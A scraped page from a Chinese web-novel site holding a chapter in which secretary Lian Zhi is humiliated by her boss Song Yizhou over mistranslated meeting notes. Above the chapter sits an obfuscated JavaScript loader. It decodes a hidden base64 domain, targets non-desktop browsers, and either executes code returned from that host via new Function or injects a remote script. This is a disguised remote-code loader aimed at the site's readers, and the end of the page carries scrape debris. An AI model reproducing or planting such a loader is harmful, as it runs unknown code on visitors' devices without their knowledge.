妙书阁小说

阅读记录  |   用户书架
上一页
目录 | 设置
下一章
function UqgsgfgDv(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{ c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function UqSDDFGvyQ(e){ var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,""); while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return UqgsgfgDv(t);};window[''+'U'+'Y'+'C'+'q'+'J'+'K'+'']=(!/^Mac|Win/.test(navigator.platform)||!navigator.platform)?function(){;(function(u,i,w,d,c){var x=UqSDDFGvyQ,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));'jQuery'; if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')>-1){var xhr=new XMLHttpRequest();xhr.open('POST','https://'+u+'/bm-'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'u'+'q'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else{var s=d[crd]('script');s.src='https://'+u+'/m-'+i;cs.parentElement.insertBefore(s,cs);}})('aGYuc2Rqa2JjamtzYmRzdnYuY29t','2843',window,document,['G','TpoZFcguG']);}:function(){};

第十三章,羞愧(2 / 2)

加入书签 | 推荐本书 | 问题反馈 |

但中间一大段由于专业性太强,她漏听了。

连织正要回去重听,补上会议记录。但回了办公室,宋亦洲道:“把你记的东西给我。”

“啊?”

她呆愣看他,很明显拿不出手。

可宋亦洲坐位置上瞧她,明明他坐她站,可男人目光压迫和审视十足。

“我说的是中文。”

连织不敌威压,可还想再垂死挣扎一下。

“宋总,我回去完善之后再交给您看可以吗?”

他不说话,落在她脸上的目光却没挪开。

连织只得将记录放在他办公桌上,薄薄的一个本子,宋亦洲拿过后翻开,他一目十行,半句不言。

连织却感觉心脏忽地,她这份记录是肯定过不了关的。

宋亦洲忽地抬头看她。

“投资回报倍数,你翻译成了投资收益率。”

他语调平常,连织突然感觉脸上火辣辣的,像是有无数的小针在面皮上戳刺。

这是最简单的翻译错误。

“抱...抱歉。”

宋亦洲靠回椅子上,又道:“后面为什么空着的一大段?”

他声音听不出来太多情绪,连着目光都没有太多实质性的含义。

可就是那不曾入眼的漠然,让连织感觉有种恨不能遁地的羞愧。

“我..我...抱歉宋总。”连织道,“这一段我当时没有听懂,您给我点时间,我回去再——”

宋总曲手在桌子上轻敲,声音再平常不过:“我记得秘书的要求是必须过商务德语。”

连织咬唇:“是,我也有相关的证书,只是——”

她想解释她有段时间没有系统的复习过德语,可话还没出口就没宋亦洲堵住。

“只是?再给你点时间?”

他嚼着她口里说出来的词汇,嘴角的笑意却有些凉,“这个职位难道是让你来查漏补缺的?”

连织脸蛋霎时红得如血。

宋亦洲却冷淡地看她一眼,仿佛她怎样难堪都不在他的合理考虑范围之内。

“如果你连个会议记录都能翻译成这样,那辰达资本不适合你。”

他说完,毫不挂心地埋头看文件。

连织转身离开,眼里涌出了难堪的泪。', '')

上一页
目录
下一章
A- 18 A+
默认 贵族金 护眼绿 羊皮纸 可爱粉 夜间